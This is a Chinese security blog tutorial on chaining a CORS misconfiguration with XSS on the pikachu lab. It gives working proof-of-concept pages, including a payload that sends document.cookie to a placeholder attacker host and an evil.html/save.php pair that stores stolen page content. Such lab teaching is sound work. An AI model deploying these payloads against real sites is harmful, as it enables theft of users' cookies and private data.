CORS结合XSS利用

新闻资讯   2023-07-08 12:06   65   0  

扫码领资料

获黑客教程

免费&进群



引言

这两个漏洞想必大家都有过了解,但是对于结合使用方面或许有些不清楚的点,我总结归纳了利用方法和原理。

关于这两个漏洞的结合使用,首先需要搭建环境。
这里以pikachu靶场为例子,这里以http://www.test.com/pikachu/vul/infoleak/abc.php登录后的页面假设为敏感页面

对页面进行配置,添加CORS跨域的配置,这里配置从request中获取Origin为可信任的域

if (isset($_SERVER['HTTP_ORIGIN'])) {
header("Access-Control-Allow-Origin: {$_SERVER['HTTP_ORIGIN']}");
//header("Access-Control-Allow-Origin: www.test.com");
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Max-Age: 86400'); // cache for 1 day
}


完成存在CORS漏洞的配置,测试存在CORS漏洞

这里都看不懂的可以去看看这个:    

    https://www.cnblogs.com/byErichas/p/15918919.html

CORS 利用POC

一个能用的CORS POC
cors.html

<!DOCTYPE html> 
<html>
<head><title>CORS</title></head>
<body onload="cors();">
<center> cors proof-of-concept:<br>
<br>
<textarea rows="10" cols="60" id="pwnz"></textarea>
<br>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
alert(document.location);
}
};
xhttp.open("GET","http://www.test.com/pikachu/vul/infoleak/abc.php","true");
xhttp.withCredentials = true;
xhttp.send(); }
</script>

测试一下,可以成功获取html页面信息

搭建在服务器上看看,同样能够成功。(这里就没贴图了)

CORS结合XSS

ok这里利用XSS来把payload部分替换,实际利用中是存储型的,原理上dom也可以,这里展示dom型的

<script>function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.body.innerHTML = this.responseText;
}
};
xhttp.open("GET", "http://www.test.com/pikachu/vul/infoleak/abc.php", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors(); </script>

URL编码后访问

CORS利用进阶

上面的操作都是直接在本地的,是为了熟悉原理。
实战中结合利用应该是用服务器搭建一个恶意页面E,用XSS触发去访问这个页面E,再通过这个恶意页面E去访问敏感信息页面C,把敏感信息发送的到服务器,完成攻击。其中也能获取cookie,但有时候能否成功还受到浏览器同源策略的影响。

这里补充一个Tips:

在谷歌浏览器中我曾看看有一个Secure属性,目前默认都是开启的

在setSecure(true); 的情况下,只有https才传递到服务器端。http是不会传递的。所以有时候cookie不传递和浏览器也有很大关系。
具体要视情况来分析。

接着说
这里实现了把敏感数据发送到服务器上,HTML的代码不懂的可以去看看:
参考Ajax用法
corspro.html

<!DOCTYPE html>
<html>
<body>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
var xhttp = new XMLHttpRequest();
var xx = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
//this.responseText 太长导致访问不了,不能简单的通过url访问来记录
// location="http://IP:PORT/cors/?response="+this.responseText;
location="http://IP:PORT/cors/?response="+document.cookie;
xx.open("GET",location,true);
xx.send();
}
};
xhttp.open("GET", "http://www.test.com/pikachu/vul/infoleak/abc.php", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>

这个方法有个问题就是获取信息过长,就会读取不到,这是一个坑点。

改成短一些的信息,比如cookie,就成功读取到了

优化方案

想要获取更多的数据,怎么办?
换一种方法,把读取到的html给直接写入到文件中保存
evil.html

<!DOCTYPE>
<html>
<h1>Hello I evil page. </h1>
<script type="text/javascript">
function loadXMLDoc()
{
var xhr1;
var xhr2;
if(window.XMLHttpRequest)
{
xhr1 = new XMLHttpRequest();
xhr2 = new XMLHttpRequest();
}
else
{
xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
xhr2= new ActiveXObject("Microsoft.XMLHTTP");
}
xhr1.onreadystatechange=function()
{
if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
{
var datas=xhr1.responseText;
//保存的php代码文件位置
xhr2.open("POST","http://www.test.com/save.php","true");
xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr2.send("msf="+escape(datas));
}
}
//敏感页面访问
xhr1.open("GET","http://www.test.com/pikachu/vul/infoleak/abc.php","true") //request user page.
xhr1.withCredentials = true; //request with cookie
xhr1.send();
}
loadXMLDoc();
</script>
</html>

save.php

//把通过evil.html获取到的页面数据写入到get_data。html中去
$myfile = fopen("get_data.html", "w") or die("Unable to open file!");
$txt = $_POST['msf'];
fwrite($myfile, $txt);
fclose($myfile);
?>

成功保存文件,不过编码有点问题,这里的汉字都被转换成了unicode编码,需要去转换一下编码


CrossSiteContentHijacking

这里用一个叫做CrossSiteContentHijacking(https://github.com/nccgroup/CrossSiteContentHijacking)的项目来测试,多了一种检测的方法
用服务器搭建好这个项目,然后在www.test.com所在浏览器打开
选择target 和type,然后点Retrieve Contents

证明能成功的跨域访问到

小结思考

如果修改CORS配置,设置成www.test.com才能访问跨域资源

然后就不能访问了,当然前面的cors.html的poc也是同理不能用了

必须来自于Origin:www.test.com才可以。
所以不安全CORS配置,还是存在一定的安全隐患。


原文地址:https://www.freebuf.com/vuls/358289.html

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@
学习更多渗透技能!体验靶场实战练习


hack视频资料及工具

(部分展示)


往期推荐

给第一次做渗透项目的新手总结的一些感悟

「登陆页面」常见的几种渗透思路与总结!

突破口!入职安服后的经验之谈

红队渗透下的入口权限快速获取

攻防演练|红队手段之将蓝队逼到关站!

CNVD 之5000w通用产品的收集(fofa)

自动化挖掘cnvd证书脚本

Xray捡洞中的高频漏洞

实战|通过供应链一举拿下目标后台权限

实战|一次真实的域渗透拿下域控(内网渗透)

看到这里了,点个“赞”、“再看”吧

文章引用微信公众号"白帽子左一",如有侵权,请联系管理员删除!

博客评论
还没有人评论,赶紧抢个沙发~
发表评论
说明:请文明发言,共建和谐网络,您的个人信息不会被公开显示。